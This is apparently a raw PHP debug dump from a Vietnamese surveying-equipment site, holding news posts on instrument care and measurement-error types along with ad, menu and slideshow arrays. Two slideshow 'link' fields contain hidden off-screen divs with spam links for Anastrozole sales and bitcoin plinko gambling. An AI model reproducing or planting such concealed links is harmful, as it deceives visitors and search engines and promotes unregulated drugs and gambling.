pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-10', 'status' => '1', 'view' => '74548', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '82720', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $duandatrienkhai = array( (int) 0 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ) ) $slideshow = array( (int) 0 => array( 'Slideshow' => array( 'id' => '69', 'name' => '', 'images' => null, 'created' => '2019-07-11 10:23:46', 'modified' => '2022-04-16 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 1 => array( 'Slideshow' => array( 'id' => '68', 'name' => '', 'images' => '201907111208539ebd41e6cbc1e14780805f6fc0d65867.gif', 'created' => '2019-07-11 10:22:33', 'modified' => '2021-05-13 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Buy <a href="http://contest-sport.com/sport-products/anastrazolos-1/"> Anastrozole directly from the manufacturer in USA </a> and without intermediaries.</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 2 => array( 'Slideshow' => array( 'id' => '66', 'name' => '', 'images' => '2019071110173758daf01bf616370befe2ad36e8391dfa.png', 'created' => '2019-07-11 10:09:25', 'modified' => '2022-04-15 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Play <a href="https://windice.io/plinko">bitcoin plinko</a> to hit the jackpot today!</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ) ) $adv_khuyenmai = array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ) $doitac = array( (int) 0 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ) ) $chayphai = array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ) $chaytrai = array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ) $chiasekinhnghiem = array() $list_menu_footer = array() $danhmuc_left_parent = array( (int) 0 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ) ) $danhmuc = array( (int) 0 => array( 'Catproduct' => array( 'id' => '1', 'name' => 'Trang chủ', 'slug' => 'trang-chu' ) ), (int) 1 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ), (int) 2 => array( 'Catproduct' => array( 'id' => '3', 'name' => 'Giới thiệu', 'slug' => 'gioi-thieu' ) ), (int) 3 => array( 'Catproduct' => array( 'id' => '5', 'name' => 'Download', 'slug' => 'download' ) ), (int) 4 => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'slug' => 'tin-tuc' ) ), (int) 5 => array( 'Catproduct' => array( 'id' => '6', 'name' => 'Liên hệ', 'slug' => 'lien-he' ) ) ) $support = array( (int) 0 => array( 'Support' => array( 'id' => '13', 'name' => 'Co so Ha noi', 'phone' => '098 987 678', 'yahoo' => 'duycuong7640', 'skype' => 'duycuong7640', 'pos' => '0', 'created' => '2013-09-13', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ), (int) 1 => array( 'Support' => array( 'id' => '16', 'name' => 